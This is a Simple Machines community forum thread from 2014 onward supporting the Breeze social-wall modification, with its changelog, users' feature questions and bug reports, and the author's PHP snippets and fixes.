Simple Machines Community Forum

Customizing SMF => Modifications and Packages => Topic started by: Suki on March 21, 2014, 07:50:09 PM

Title: Breeze
Post by: Suki on March 21, 2014, 07:50:09 PM
Link to Mod (https://custom.simplemachines.org/mods/index.php?mod=3839)

Breeze Social mod


Created by Suki (https://www.simplemachines.org//missallsunday.com)

This mod needs PHP 5.3 or greater and SMF 2.0.x or greater

License
Code: [Select]
This Source Code Form is subject to the terms of the Mozilla Public License, v. 1.1.
If a copy of the MPL was not distributed with this file,
You can obtain one at http://mozilla.org/MPL/

The contents of this package are subject to the Mozilla Public License Version
1.1 (the "License"); you may not use this package except in compliance with
the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/
 *
Software distributed under the License is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
for the specific language governing rights and limitations under the
License.


Introduction

Breeze is a social mod for your users to turn their dull profile into a dynamic wall where they can post status and comments. Comes with the following features:

- No file edits, works with all themes.
- Users individual settings, each user defines her/his own settings.
- Mentions for status and comments.
- Notifications for several features.
- General wall page for displaying your buddies latest activity.
- Couple of blocks for showing your buddies, visitors, latest activity and about me block.
- Works with or without JavaScript.


Supported Languages

o English/utf8
o Spanish_latin/utf8
o Portuguese_Brazilian/utf8
o Turkish/utf8

I welcome translations, please post it on the support site ;)


Installation

Use the package manager to install this modification, Breeze will work with all themes.
Tested on PHP 5.3 and 5.4, Opera12, IE8 and whatever version Firefox was when I tested it.


This mod uses the following scripts

- [jQuery] (http://jquery.com/)
- [Facebox] (https://github.com/defunkt/facebox)
- [needim noty jquery plugin] (http://needim.github.com/noty/)
- [ichord Mentions autocomplete script] (http://ichord.github.com/At.js)
- [ikons from Piotr Kwiatkowski] (http://ikons.piotrkwiatkowski.co.uk)
- [DOMPurify] (https://github.com/cure53/DOMPurify)


Changelog

Code: [Select]
1.0.14 August  26, 2018
- Add support for PHP 7.

1.0.13 March 17, 2018
- Add admin setting for the general wall
- Prevent loading status and activity from users on your ignored list.

1.0.12 May 5, 2017
- Concatenation on $txt strings
- Add a "live from the support site" atom box
- Use caret and atwho min versions on single status page
- Update atwho.js

1.0.11 April 15, 2017
- Add Turkish and Portuguese_Brazilian translations
- Normalize and schemaless the support url
- Remove the "live from the support site" rss box

1.0.10 May 24, 2016
- Update atwho and caret, use min versions.
- Add support for Ohara youtube mod.
- Remove purify call on submitted content to prevent double encoding.

1.0.9 Oct 29, 2015
- Fix a missing semicolon preventing users form using the mentions feature on their walls.
- Replace $this->_smcFunc with global $smcFunc.

1.0.8 Jun 29, 2015
- Fix a security issue allowing users to post status and messages as another user. Thanks to JSX3 for reporting it.

1.0.7 Oct 22, 2014
This release adds a new security layer by implementing the DOMPurify library to both comments and status messages.

It also fixes a wrong version on package-info.xml as well as adding the current version to the version tag on all files.

1.0.6 Jul 3, 2014
- This release fixes a bug introduced in the 1.0.5 version which prevented users from saving their options, it also improves the security fix introduced in the 1.0.5 release.

1.0.5  May 30, 2014
- !Make BreezeData::sanitize() a recursive functions for handling arrays.

1.0.4 May 4, 2014
- Fixed checking a wrong variable on BreezeQuery:getCount() which prevented to get the real count.
- Convert to an array of integers the passed value on BreezeQuery:getCount() to prevent weird servers to give errors.
- The load more feature on the general wall wasn't working because userID wasn't defined.
- On the createTopic log and any other log, use the username instead of the real name.

1.0.3 Apr 12, 2014
- Add BreezeQuery::getStatus() to allow users to get status data directly from the DB
- Fixed silly bugs with error strings
- BreezeQuery::getCount() now work with arrays, each element gets casted as integer before passing the array to avoid errors. It also removes the need to pass sql code, it now needs the column name only.

1.0.2  Mar 23, 2014
- Fixes an issue where users will get notified about new topics on boards they cannot see. Thanks to br360 for the report.
- Add support for accounts that were deleted but still has activity recorded.
- Css files were merged and minified, thanks to Antes
- Other small fixes/improvements.

1.0.1 Mar 2, 2014
- Notifications were pretty broken and with unfinished code.
- Changed the value column in breeze_options to a text field
- Weird css on breeze.css was interfering with the forum's style.
- Missed a text string for permissions and fixed a logic issue as well, users weren't able to post new comments even though they have the appropriated permissions to do so.
- New status were appended to a non-existent div.
- Disabling the wall didn't hide the button on the profile menu.
- Support feed url uses a scheme-less url for servers using https
- Typos and corrections on language strings.
- Fixed a logic issue when posting a new comment, the code wrongly assumed the poster and the profile owner were the same person.
- Added a new notification for the profile owner when someone made a comment on any status on their own wall.

1.0 - Windmill
Initial release

Title: Re: Breeze
Post by: NekoJonez on March 22, 2014, 12:53:19 PM
You can't change peeps their settings as admin?
Title: Re: Breeze
Post by: Suki on March 22, 2014, 01:52:00 PM
No, you can't.
Title: Re: Breeze
Post by: Antes on March 22, 2014, 01:58:08 PM
Perfect! :)
Title: Re: Breeze
Post by: NekoJonez on March 22, 2014, 04:49:53 PM
So, I have the "online" and "Show Posts" appear next to each other.

Also, how does the mention thingy works?
Title: Re: Breeze
Post by: Suki on March 22, 2014, 06:22:27 PM
Mentioning as well as be "mentionable" are permissions, people need to have those permissions in order to mention someone.

You just need to type @  followed by the name you want, after the 3 letter the script will show you a list of possible mentionable users.
Title: Re: Breeze
Post by: hcfwesker on March 22, 2014, 11:21:00 PM
Great job, Suki!!!  I have the old, out of date, support abandoned, paid for SMF Social mod.  This looks like a much better alternative.

The main question, is it compatible with Ultimate Profile?  And, if not, would it be possible ( I will attempt myself) to make just the some parts their own block on ultimate profile pages?
Title: Re: Breeze
Post by: Kindred on March 23, 2014, 09:04:25 AM
Nice job Suki!

I tried this back when it was still in alpha/beta development and liked the concept then...   I'll have to figure out which site to start using this on now that it's released. :D


(also posting in this thread so I get notified of questions, updates and information. :) )
Title: Re: Breeze
Post by: NekoJonez on March 23, 2014, 09:19:29 AM
Great job, Suki!!!  I have the old, out of date, support abandoned, paid for SMF Social mod.  This looks like a much better alternative.

The main question, is it compatible with Ultimate Profile?  And, if not, would it be possible ( I will attempt myself) to make just the some parts their own block on ultimate profile pages?
I was wondering as well. Since the mod you wrote of the social profiles and the GamerID's aren't on your wall. Would be awesome if it was in any way shape or form.
Title: Re: Breeze
Post by: hcfwesker on March 23, 2014, 04:50:34 PM
GamerID's

I didn't write that mod, just supplied edits for Nintendo Network ID and Ultimate Profile additions.

is it compatible with Ultimate Profile?

Never mind this.  Just noticed it creates it's own page for wall viewing.  So, obviously it's compatible. :)

Out of curiosity, would it be possible to have it show ALL member statuses, too, on a page?  Kinda like the other social mod had, where it showed all member statuses, then a side bar link to show only buddy's statuses.  Not many people actually use the buddy system and would miss out on other members statuses that may interests them.
Title: Re: Breeze
Post by: Suki on March 24, 2014, 10:46:17 AM
Great job, Suki!!!  I have the old, out of date, support abandoned, paid for SMF Social mod.  This looks like a much better alternative.

The main question, is it compatible with Ultimate Profile?  And, if not, would it be possible ( I will attempt myself) to make just the some parts their own block on ultimate profile pages?
I was wondering as well. Since the mod you wrote of the social profiles and the GamerID's aren't on your wall. Would be awesome if it was in any way shape or form.

If a mod uses the custom profiled fields then it will appear on the users wall, the same for the lighbox that appear whenever you click on an users avatar.

GamerID's

I didn't write that mod, just supplied edits for Nintendo Network ID and Ultimate Profile additions.

is it compatible with Ultimate Profile?

Never mind this.  Just noticed it creates it's own page for wall viewing.  So, obviously it's compatible. :)

Out of curiosity, would it be possible to have it show ALL member statuses, too, on a page?  Kinda like the other social mod had, where it showed all member statuses, then a side bar link to show only buddy's statuses.  Not many people actually use the buddy system and would miss out on other members statuses that may interests them.


It is possible, just not something I would recommend. Having everyones activity on a single page will be a bad idea for busy forums.

My plan was to turn the buddy system into a "follow" system or keep the buddy system and also implement the follow one, that way you can follow whoever you want and their activities will be shown to you.


Anyway, theres a new version 1.0.2 that fixes a bug where you were notified of new topics on boards you cannot see and other minor small improvements.

No need to uninstall/install, just upload the mod's Sources and Themes to your forum's root.
Title: Re: Breeze
Post by: player.samp on March 24, 2014, 11:55:07 AM
Is there any option to edit/remove posts on walls or it isn't possible?
Title: Re: Breeze
Post by: Suki on March 24, 2014, 12:15:22 PM
Editing is not possible at the moment, its a feature I want to add for future versions.

There are 3 permissions related to removing:

Delete all comments on any wall
Delete their own comments.
Delete comments made on their own profile.

and the same for Status.

You need to assign the permissions you want for your usergroups, for example, the delete all comments/status on any wall will commonly be granted to global moderators or other groups with some kind of authority on your forum.
Title: Re: Breeze
Post by: br360 on March 24, 2014, 07:40:59 PM
Suki, this mod is awesome, and thank you very much for the 1.0.2 update.

I was wondering; is there a way for an admin to disable the "Latest Visitors" module" altogether, so members wouldn't be able to have this option in their settings at all?
Title: Re: Breeze
Post by: hcfwesker on March 24, 2014, 10:40:00 PM
I was wondering; is there a way for an admin to disable the "Latest Visitors" module" altogether, so members wouldn't be able to have this option in their settings at all?

If not from the admin menu, an alternative is you could remove the code section for visitors from the template file, so it doesn't appear at all on any wall pages.
Title: Re: Breeze
Post by: br360 on March 24, 2014, 11:46:32 PM
I could live with that, just not sure exactly what part of the code to remove without screwing something else up or causing errors. I'm thinking maybe deleting this out of Breeze.template.php. but not 100% sure.

Code: [Select]
// Visitors
   if (!empty($context['Breeze']['settings']['owner']['visitors']))
   {

      echo '
      <div class="cat_bar">
         <h3 class="catbg">
            '. $txt['Breeze_tabs_views'] .'
         </h3>
      </div>';

      echo '
      <div class="windowbg2">
         <span class="topslice"><span> </span></span>
         <div class="content BreezeList">';

      if (!empty($context['Breeze']['views']))
         breeze_user_list($context['Breeze']['views'], 'visitors');

      // No visitors :(
      else
         echo $txt['Breeze_user_modules_visitors_none'];

      echo '
         </div>
         <span class="botslice"><span> </span></span>
      </div>';
   }

Would that be the correct code?
Title: Re: Breeze
Post by: Suki on March 25, 2014, 10:14:17 AM
Suki, this mod is awesome, and thank you very much for the 1.0.2 update.

I was wondering; is there a way for an admin to disable the "Latest Visitors" module" altogether, so members wouldn't be able to have this option in their settings at all?

Currently there is no admin setting to determinate which options are available for users but each setting is added via  class form which makes it easy to control which parts remove or add more settings.  On Sources/Breeze/BreezeUser.php find this.

Code: [Select]
$form->addCheckBox(
'visitors',
!empty($userSettings['visitors']) ? true : false
);

And either comment it out or remove it, this will prevent users from having the option to have a profile visitors block.

if you want to remove the code from the template then yes, the code you posted is the one that shows that block.
Title: Re: Breeze
Post by: TrickyRicky on March 25, 2014, 01:12:54 PM
Amazing and well done suki i was a big fan of the early versions. also is there a way to have a portal block.
Title: Re: Breeze
Post by: Suki on March 25, 2014, 09:30:15 PM
To have a portal block inside the users wall or to have some info from this mod as a portal block?
Title: Re: Breeze
Post by: hcfwesker on March 26, 2014, 12:34:29 AM
To have a portal block inside the users wall or to have some info from this mod as a portal block?

My guess would be a portal block, with info from the mod to be shown on the portal page or forum.  Which could show the most recent (5 or so) status updates from all users(or buddies only).
Title: Re: Breeze
Post by: TrickyRicky on March 26, 2014, 06:12:18 AM
To have a portal block inside the users wall or to have some info from this mod as a portal block?

My guess would be a portal block, with info from the mod to be shown on the portal page or forum.  Which could show the most recent (5 or so) status updates from all users(or buddies only).

Exactly right just some info most recent ect.
Title: Re: Breeze
Post by: Suki on March 26, 2014, 10:54:51 AM
Oh sure. what exactly do you want to show?
Title: Re: Breeze
Post by: TrickyRicky on March 26, 2014, 11:33:44 AM
show the most recent (5 or so) status updates from all users would be cool.
Title: Re: Breeze
Post by: Suki on March 26, 2014, 12:51:50 PM
mmm, I used to have generic functions to get status and comments, unfortunately, I introduced the paginaiton and the load more button so the those functions became more and more specific towards a single use.

I will include a generic method for both status and comments, in the meantime you can use this method:

Code: [Select]
/**
* BreezeQuery::getStatus()
*
* Get all status made by X users. no pagination, no other special code.
* @param int|array $id the ID(s) of the user(s) to get the status from. If left empty the functon will load all available status.
* @param boolean $getComments Whether or not to include comments made on each status.
* @param int $limit How many status do you want to retrieve.
* @param string $sort Sorting for retrieving the data, by default is set to DESC (most recent)
* @return array An array containing all the status made by those users, two keys, data and users
*/
public function getStatus($id = false, $getComments = false, $limit = 5, $sort = 'status_id DESC')
{
// Declare some generic vars, mainly to avoid errors
$return = array(
'data' => array(),
'users' => array(),
);

$statusIDs = array();

$id = !empty($id) ? (array) $id : false;

// Fetch the status.
$result = $this->_smcFunc['db_query']('', '
SELECT '. implode(', ', $this->_tables['status']['columns']) .'
FROM {db_prefix}'. ($this->_tables['status']['table']) .'
'. (!empty($id) ? 'WHERE status_owner_id IN({array_int:owner})' : '') .'
ORDER BY {raw:sort}
LIMIT {int:limit}',
array(
'owner' => $id,
'sort' => $sort,
'limit' => $limit,
)
);

// Populate the array like a big heavy boss!
while ($row = $this->_smcFunc['db_fetch_assoc']($result))
{
// Are we also fetching comments?
if ($getComments)
$statusIDs[] = $row['status_id'];

$return['data'][$row['status_id']] = array(
'id' => $row['status_id'],
'owner_id' => $row['status_owner_id'],
'poster_id' => $row['status_poster_id'],
'time' => $this->tools->timeElapsed($row['status_time']),
'time_raw' => $row['status_time'],
'body' => $this->parser->display($row['status_body']),
'comments' => array(),
);

// Get the users IDs
$return['users'][] = $row['status_owner_id'];
$return['users'][] = $row['status_poster_id'];
}

$this->_smcFunc['db_free_result']($result);

// Now get the comments for each status.
if ($getComments && !empty($statusIDs))
{
$result = $this->_smcFunc['db_query']('', '
SELECT '. implode(', ', $this->_tables['comments']['columns']) .'
FROM {db_prefix}'. ($this->_tables['comments']['table']) .'
WHERE comments_status_id IN({array_int:status})
ORDER BY comments_id ASC
',
array(
'status' => $statusIDs,
)
);

// Append the data to our main return array
while ($row = $this->_smcFunc['db_fetch_assoc']($result))
{
$return['data'][$row['comments_status_id']]['comments'][$row['comments_id']] = array(
'id' => $row['comments_id'],
'status_id' => $row['comments_status_id'],
'status_owner_id' => $row['comments_status_owner_id'],
'poster_id' => $row['comments_poster_id'],
'profile_id' => $row['comments_profile_id'],
'time' => $this->tools->timeElapsed($row['comments_time']),
'time_raw' => $row['comments_time'],
'body' => $this->parser->display($row['comments_body']),
);

// Append the users IDs.
$return['users'][] = $row['comments_poster_id'];
}

$this->_smcFunc['db_free_result']($result);
}

// Clean it a bit
if (!empty($return['users']))
$return['users'] = array_values(array_filter(array_unique($return['users'])));

return $return;
}



put it inside Sources/Breeze/BreezeQuery.php

before this line of comments:

Code: [Select]
/**
* BreezeQuery::getStatusByProfile()
*
* Get all status made in X profile page. Uses a custom query and store the results on separate cache entries per profile.
* @param int $id the ID of the user that owns the profile page, it does not matter who made that status as long as the status was made in X profile page.
* @return array An array containing all the status made in X profile page
*/

and to use it you can use this on a php block:

Code: [Select]
global $breezeController;

if (empty($breezeController))
$breezeController = new BreezeController();

$status = $breezeController->get('query')->getStatus();

By default the function will show status made by everyone, will show the latest 5 and will not show comments associated with each status, however, you can change those parameters if you want.

You can modify the following params:

$id = false, $getComments = false, $limit = 5, $sort = 'DESC'

$id is the single ID or an array of IDs from users you want to show the latest status.
$getComments is a boolean value to tell the function if you also want to load all the comments for each status.
$limit is the amount of status to retrieve, by default is 5
$sort is the SQL sort, DESC means get the latest status made but you can add any valid SQL ORDER statement.

If the query fetched something, $status will be an array with 2 keys, users and data, $status['data'] holds all the status as an array, to get the body you can use something like this:

if (!empty($status['data']))
   foreach ($status['data'] as $data)
      echo $data['body'];
Title: Re: Breeze
Post by: vbgamer45 on March 26, 2014, 01:08:25 PM
I would be interested in a portal block as well if you make one and would like to include in ezportal as an option.
Title: Re: Breeze
Post by: Suki on March 26, 2014, 01:26:51 PM
Well, I will add the generic function I wrote above but since I have no idea how people would want to show the data I cannot provide any HTML for it.

And since status and comments doesn't actually have a title and there isn't really a good way to truncate text with HTML on it, it becomes somehow more difficult to show a list of recent status/comments without actually showing the entire body.
Title: Re: Breeze
Post by: NekoJonez on March 29, 2014, 01:51:16 PM
Where is the changelog ... sorry for this but I'm kinda waiting for some stuff to happen to this mod.
Title: Re: Breeze
Post by: Suki on March 29, 2014, 06:12:28 PM
???

Since I can't do much with SMF 2.0, all future features will be for SMF 2.1.  I have responded to all the questions and fixed all reported bugs, dunno what else do you need.
Title: Re: Breeze
Post by: NekoJonez on March 30, 2014, 09:26:47 AM
Nvm my previous post, I was not thinking straight. x)
Title: Re: Breeze
Post by: Suki on March 30, 2014, 12:07:41 PM
Anyway, I started working on Breeze 1.1, haven't added any new features but thats because I need to revamp the core first:

- Less code and less files
- No more static methods, while it still relies on a semi-singleton to be able to work with SMF, code is now full OOP.
- It will take full advantage of some of the features I introduced in SMF 2.1, so testing this will also help me debug 2.1

Everything is already done except for the testing.

I don't think I have a list of new features to add, its mainly all on my head but I'm open to suggestions, the only requirement is that this mod should remain editless, that is, no file edits. Other than that pretty much everything goes.
Title: Re: Breeze
Post by: NekoJonez on April 05, 2014, 08:49:15 AM
I have the social icon mod and the gamer ID mod installed.
How can I show them on my wall?
Title: Re: Breeze
Post by: ryan_dwight on April 05, 2014, 09:51:21 AM
I don't know if this is included on the feature settings.

Only your buddy can comment on your wall with the exception of the moderators.

if it is already there, where can I find the settings of it.

Thank you for this mod.
Title: Re: Breeze
Post by: Suki on April 05, 2014, 10:22:43 AM
I have the social icon mod and the gamer ID mod installed.
How can I show them on my wall?

If those mods use the custom_profile fields then it will appear automatically, otherwise you will have to add their code manually.

I don't know if this is included on the feature settings.

Only your buddy can comment on your wall with the exception of the moderators.

if it is already there, where can I find the settings of it.

Thank you for this mod.


Don't really understand your question. No, currently there isn't a setting to allow only buddies to post on your wall.
Title: Re: Breeze
Post by: ryan_dwight on April 05, 2014, 10:38:50 AM

Don't really understand your question. No, currently there isn't a setting to allow only buddies to post on your wall.
that answers my question.
is this feature possible in the future?
but anyway thanks for this
Title: Re: Breeze
Post by: Suki on April 05, 2014, 11:38:22 AM
It depends, the permission system is already pretty convulsive, not to mention the whole buddy system is somehow flawed.

For example, how would you define a buddy, should both users, the wall owner and the wall poster be buddies to each other?

What would happen if the poster has the wall owner as buddy but the wall owner doesn't have the poster as buddy?  or the other way around?
Title: Re: Breeze
Post by: ryan_dwight on April 05, 2014, 12:31:48 PM
Quote
For example, how would you define a buddy, should both users, the wall owner and the wall poster be buddies to each other?
yes this is what i mean.
Quote
What would happen if the poster has the wall owner as buddy but the wall owner doesn't have the poster as buddy?  or the other way around?
but on this one, I never thought that it is complicated. ignore my suggestion on this buddy thing lol

thanks for your reply
Title: Re: Breeze
Post by: Suki on April 05, 2014, 12:38:29 PM
I suppose the mod should take the wall owner buddy list as reference, that is, if the wall owner has the poster on her/his buddy list then the poster will be able to post.

But this also raises more issues, what would happen if the person wants to reply to a status posted by a third person? in this case we have 3 different persons:

- The wall owner
- The user who posted the status
- The user who wants to comment on that specific status.

What buddy list should be used as reference?  the wall owner one or the status owner one?  In theory I should use the wall owner list but  the more factors I add the more complicate it becomes.
Title: Re: Breeze
Post by: Antes on April 05, 2014, 12:44:46 PM
Setting needs to be based on Wall Owner's. eg;
> Public (everyone can post under it)
> Friends of friends (wall owner's friends' friends can post under it)
> Friends only (wall owner's friends)
> Private (wall owner's friends can only see it but none can write under it)
Title: Re: Breeze
Post by: Suki on April 05, 2014, 12:55:01 PM
The same issue still applies, how exactly do you define been buddies?  does it needs to be a reciprocal friendship or just one side friendship?

Theres also the issue with applying the messy permission system, the current permission system has 4 factors (wall owner, poster owner, comment owner and current poster) that alone creates  up to 16 possible factors and I need to include all of them.  Adding the buddy system will escalate the number of factors to considerate exponentially. Not something I want to deal with.

A much more simpler approach would be to only allow buddies to see your wall, just like the ability to deny users on your ignore list to see your wall.
Title: Re: Breeze
Post by: Antes on April 05, 2014, 01:04:46 PM
Get wall owner's buddy list as the "friend(s) list". ? (The best option in my mind for now :P)
Title: Re: Breeze
Post by: Snrj on April 07, 2014, 12:37:08 PM
good mod thanks suki
Antes mod turkish lang pls :P
Title: Re: Breeze
Post by: Antes on April 07, 2014, 02:08:46 PM
good mod thanks suki
Antes mod turkish lang pls :P

There will be a translation but currently dealing with mid-term exams so you have to wait at least 2 more weeks.
Title: Re: Breeze
Post by: desai_amogh on April 09, 2014, 05:10:51 AM
Hey,

That @mentions thing is only applicable in comments and statuses??

Can you make it global ?? mentions should rather work in any post or reply you make..
Title: Re: Breeze
Post by: player.samp on April 09, 2014, 07:15:00 AM
This package is a bit bugged.

After enabling this, I cannot see the summary profile. Only the wall. Even when I click on the summary option, as an administrator, I cannot see any information about someone, not location, not age, not username, not IP. Nothing.
Title: Re: Breeze
Post by: Suki on April 09, 2014, 08:18:19 AM
Hey,

That @mentions thing is only applicable in comments and statuses??

Can you make it global ?? mentions should rather work in any post or reply you make..

It would require a couple of file edits which goes against my policy with this mod. If I can find some time I will post a guide on how to enable mentions for posts.


This package is a bit bugged.

After enabling this, I cannot see the summary profile. Only the wall. Even when I click on the summary option, as an administrator, I cannot see any information about someone, not location, not age, not username, not IP. Nothing.

There is a whole new section for the summary page:

index.php?action=profile;area=static

I added two links to that page, on in the profile menu and another one in the main menu.
Title: Re: Breeze
Post by: ryan_dwight on April 11, 2014, 10:59:35 AM
Hi,

Can you help me on this critical error


Apply Filter: Only show the error messages of this URL
http://www.myforum.com/index.php?action=wall
Apply Filter: Only show the errors with the same message
Wrong value type sent to the database. Array of integers expected. (data)
Function: getCount
Apply Filter: Only show the errors from this file
File: /Sources/Breeze/BreezeQuery.php
Line: 177

Code: [Select]
170: $result = $this->_smcFunc['db_query']('', '
171: SELECT status_id
172: FROM {db_prefix}breeze_status
173: WHERE '. ($where),
174: array(
175: 'data' => $data
176: )
==>177: );
178:

Thank you
Title: Re: Breeze
Post by: Suki on April 11, 2014, 11:43:09 AM
On your Sources/Breeze/BreezeQuery.php file put this:

global $user_info;
      if ($user_info['is_admin'])
         var_dump($data);die;

 right below this line:

if (empty($data) || empty($where))
         return $count;


and go visit that page again logged in as an admin, it should give you a blank page with some data, post that data here.
Title: Re: Breeze
Post by: ryan_dwight on April 11, 2014, 12:35:46 PM
Code: [Select]
array(29) { [0]=> string(4) "1127" [1]=> string(4) "1745" [2]=> string(4) "1833" [3]=> string(3) "181" [4]=> string(4) "2947" [5]=> string(4) "3837" [6]=> string(4) "3552" [7]=> string(3) "262" [8]=> string(4) "2625" [9]=> string(4) "5097" [10]=> string(4) "4013" [11]=> string(4) "3782" [12]=> string(4) "8899" [13]=> string(4) "7520" [14]=> string(4) "1999" [15]=> string(3) "394" [16]=> string(4) "4984" [17]=> string(5) "10471" [18]=> string(2) "61" [19]=> string(5) "11196" [20]=> string(5) "11449" [21]=> string(3) "633" [22]=> string(5) "12518" [23]=> string(4) "6477" [24]=> string(4) "2187" [25]=> string(5) "13811" [26]=> string(5) "13868" [27]=> string(5) "13960" [28]=> string(2) "20" }
here's the data

edit:
i don't know if this is the effect when I edited but if i click on my profile i had a white screen with this
Code: [Select]
string(1) "1"
Title: Re: Breeze
Post by: Suki on April 11, 2014, 01:36:07 PM
OK, replace this code:

global $user_info;
      if ($user_info['is_admin'])
         var_dump($data);die;

with

$data = array_map('intval', $data);

That should take care of the error.  Yes, both the wall page and the users profile shares the same common background code thats why when you went to your profile page there was also a blank page with some data on it..
Title: Re: Breeze
Post by: ryan_dwight on April 11, 2014, 03:13:47 PM
i got a new error

when i click the wall on my profile

Quote
An Error Has Occurred!
The database value you're trying to insert does not exist: data
Title: Re: Breeze
Post by: Suki on April 12, 2014, 09:23:17 AM
mm, thats strange, ca you post the full code in the    protected function getCount($data, $where)  function, that is, the code between { and }
Title: Re: Breeze
Post by: Suki on April 12, 2014, 02:47:45 PM
Nevermind, I forgot I used a different type of var depending on who was the one calling this method, to avoid that I normalized the method to always expect an array and/or convert another type to an array. Expensive but easier and much more generic.

Use the attached file, just replace the old one at /Sources/Breeze/ with this one.

Going to release a new patch later.
Title: Re: Breeze
Post by: ryan_dwight on April 12, 2014, 02:59:59 PM
ooops i just sent you message.

its working now thanks Suki
Title: Re: Breeze
Post by: Suki on April 13, 2014, 05:43:07 PM
New release: 1.0.3

This new release fixes new found bugs:

- Add BreezeQuery::getStatus() to allow users to get status data directly from the DB
- Fixed silly bugs with error strings
- BreezeQuery::getCount() now work with arrays, each element gets casted as integer before passing the array to avoid errors. It also removes the need to pass sql code, it now needs the column name only.

To update you need to get the package, unzip it and upload the Themes and Sources directories to your forum root, that is, overwriting the old Breeze files.

https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.3

The green button is a ready to install package.
Title: Re: Breeze
Post by: ryan_dwight on April 15, 2014, 03:27:46 AM
Hi Suki

after I reinstall the update I had this critical error
Code: [Select]
Apply Filter: Only show the error messages of this URL
http://www.myforum.com/index.php?action=wall
Apply Filter: Only show the errors with the same message
Wrong value type sent to the database. Array of integers expected. (id)
Function: getStatusByUser
Apply Filter: Only show the errors from this file
File: /Sources/Breeze/BreezeQuery.php
Line: 623
Title: Re: Breeze
Post by: Suki on April 15, 2014, 09:21:27 AM
oh, I didn't realize BreezeQuery::getStatusByUser()  was using the same buddy list full of strings :(

the same solution applies here as well, on that file find these lines (around line 605):

Code: [Select]
// Work with arrays
$id = (array) $id;

and replace with:

Code: [Select]
// Work with arrays
$id = array_map('intval', (array) $id);
Title: Re: Breeze
Post by: Shkic on April 15, 2014, 03:04:10 PM
Great mod Suki! I have a quoestion, will you planning add a "general wall" where all users can post their statuses etc.? :)
Title: Re: Breeze
Post by: Suki on April 15, 2014, 03:37:54 PM
Well, the general wall is already there, is just based on a per user setting and their buddy list, changing that wall to a general wall where you can see all the activity from all users on a forum isn't really that difficult, just a matter of removing the LIMIT conditional on the specific method that handles the general wall status.
Title: Re: Breeze
Post by: Sweetwater on April 26, 2014, 11:29:18 AM
A great mod, thankyou.  :)

Any chance of members being able to attach or insert images etc into their wall posts?

Also for the forum noobs who will stuff up the BB codes, is it possible for the standard post option like emoticons, bold, font face, color etc to be shown above or below the wall post box, same as in the general forum?

Kind regards,
Title: Re: Breeze
Post by: Suki on April 27, 2014, 09:17:03 AM
Unfortunately, an attachment system would be needed to be coded from scratch and it will cause several issues, from security to file permissions problems.

I don't know about including the editor, the text area is pretty small and including a rich text editor several times on a page can slow down the user's browser.

Theres a lot of things I would like to add, unfortunately, I need to spend most of my time on SMFs development so I cannot dedicate as much time to this as I used to.
Title: Re: Breeze
Post by: Suki on May 04, 2014, 09:48:56 PM
New version.

Another release, this release fixes some new bugs that were found on previous versions:

- Fixed checking a wrong variable on BreezeQuery:getCount() which prevented to get the real count.
- Convert to an array of integers the passed value on BreezeQuery:getCount() to prevent weird servers to give errors.
- The load more feature on the general wall wasn't working because userID wasn't defined.
- On the createTopic log and any other log, use the username instead of the real name.

To update, uninstall the previous version without checking the "Remove al data associated with this modification" checkbox  and install the new version.

https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.4

The green button is a ready to install package.  The mod page here also has the latest version.
Title: Re: Breeze
Post by: langel on May 07, 2014, 01:36:52 PM
Great suki!! I'll see that such.

Thank you! and greetings from mexico  ;)
Title: Re: Breeze
Post by: fapencio on May 07, 2014, 06:07:38 PM
thanks a lot for your mod, is nice

regards

 :D
Title: Re: Breeze
Post by: ryan_dwight on May 14, 2014, 07:44:25 PM
New version.

Another release, this release fixes some new bugs that were found on previous versions:

- Fixed checking a wrong variable on BreezeQuery:getCount() which prevented to get the real count.
- Convert to an array of integers the passed value on BreezeQuery:getCount() to prevent weird servers to give errors.
- The load more feature on the general wall wasn't working because userID wasn't defined.
- On the createTopic log and any other log, use the username instead of the real name.

To update, uninstall the previous version without checking the "Remove al data associated with this modification" checkbox  and install the new version.

https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.4

The green button is a ready to install package.  The mod page here also has the latest version.
with this update should I apply the previous solution on the white screen issue? because i have the same problem now. Thanks
Title: Re: Breeze
Post by: ryan_dwight on May 15, 2014, 04:38:10 PM
ok I solved the problem on whitescreen by increasing memory to 256m in the php.ini

I hope that will not cause any complications.
Title: Re: Breeze
Post by: Suki on May 23, 2014, 11:26:09 AM
Yeah, the whitescreen problem isn't entirely related to this mod so the new version will not do anything to mitigate that.
Title: Re: Breeze
Post by: Suki on May 30, 2014, 12:40:20 PM
New release: 1.0.5.

This release fixes a security issue found on the mod so I urge everyone using any old versions to update to this latest release.

https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.5

Green button is a ready to install package.

Modsite page is already updated with the new version.

Some more info: http://missallsunday.com/news_and_updates/breeze_1.0.5_491.0.html
Title: Re: Breeze
Post by: MotRude on May 31, 2014, 11:36:04 AM
On Notifications,Can i be notified by private message when a new post is posted on my wall or a buddies wall?
Title: Re: Breeze
Post by: ryan_dwight on June 02, 2014, 08:51:33 AM
I have this error
Code: [Select]
Apply Filter: Only show the error messages of this URL
http://www.myforum.com/index.php?topic=37638.570
Apply Filter: Only show the errors with the same message
2: apc_store() [<a href='function.apc-store'>function.apc-store</a>]: Potential cache slam averted for key '7e5058e34de75107f666960f2d97add0-SMF-Breeze-options-27smf'
Apply Filter: Only show the errors from this file
File: /home/ptcb/public_html/Sources/Load.php
Line: 2833
Title: Re: Breeze
Post by: Suki on June 05, 2014, 11:35:40 AM
On Notifications,Can i be notified by private message when a new post is posted on my wall or a buddies wall?

The buddies wall is just a compilation of your buddies posts, it wouldn't be wise to send a pm whenever a buddy post a new status.

As for your own wall, sure, you can add your code right after this:

         // All went good or so it seems...
         if (!empty($this->_params['id']))
         {

on Sources/Breeze/BreezeAjax.php

There are 2 vars:

$statusOwner  <--- is the profile owner
$statusPoster  <--- the person who postd the status.

Just do a quick check to avoid PMing yourself:

if ($statusOwner  != $statusPoster)
{
 // the send pm code here
}


Or if you're familiar with using the hook system, theres a hook you can use:

call_integration_hook('integrate_breeze_after_insertStatus', array($this->_params));

theres a built function for sending a pm already, just take a look at some omd that does it and copy the code from there.


I have this error
Code: [Select]
Apply Filter: Only show the error messages of this URL
http://www.myforum.com/index.php?topic=37638.570
Apply Filter: Only show the errors with the same message
